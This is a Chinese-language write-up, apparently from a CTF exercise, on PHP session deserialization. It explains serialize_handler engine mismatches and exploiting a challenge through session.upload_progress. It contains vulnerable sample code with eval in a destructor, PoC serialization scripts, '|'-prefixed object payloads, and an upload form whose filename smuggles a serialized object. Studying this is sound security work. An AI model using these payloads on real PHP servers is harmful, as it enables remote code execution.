error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。
当 PHP 停止的时候,它会自动读取
$_SESSION
中的内容,并将其进行序列化
, 然后发送给会话保存管理器来进行保存。
Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/
这也是一个php设置的一个参数,在这道题的phpinfo页面,我们可以看到它的这个参数为On。而当它为On时,如果我们向服务器POST一个参数和一个文件,就可以向session中添加一条数据。但是,是有条件的:参数的名字必须和这个参数”session.upload_progress.name“的值同。”session.upload_progress.name“可以在php.ini文件中找到,默认都是“PHP_SESSION_UPLOAD_PROGRESS”。
有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。
session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php
session.auto_start Off
session.save_handler files
session.save_path D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler php
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
打开save路径找到sessionID对应的文件名发现内容如下
session|s:6:"coleak";
对比三种不同
session|s:6:"coleak";
<0x07>sessions:6:"coleak";//这里的0x07是不可见字符
a:1:{s:7:"session";s:6:"coleak";}
在Linux上搭建的话,常见的php-session
存放位置有:
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
使用不同的引擎来处理session文件
1.php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
echo ""
;
var_dump($_SESSION);
echo "
";
?>
2.php
ini_set('session.serialize_handler', 'php');
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello ".$this->name."!";
}
}
?>
首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。
poc
class student{
var $name;
var $age;
}
$a = new student();
$a->name = "coleak";
$a->age = "100";
echo serialize($a);
?>
O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}
payload
|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}
此时查看文件内容
a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}”;}
访问2.php
hello coleak!
在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,看官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度
这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。
session.upload_progress.enabled = On --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
查看phpinfo中找到不同的处理引擎
session.serialize_handler php php_serialize
session.upload_progress.enabled On On
session.upload_progress.cleanup Off Off
class OowoO
{
public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
DOCTYPE html>
<html>
<head>
<title>title>
head>
<body>
<form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
<input type="file" name="file">
<input type="submit">
form>
body>
html>
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain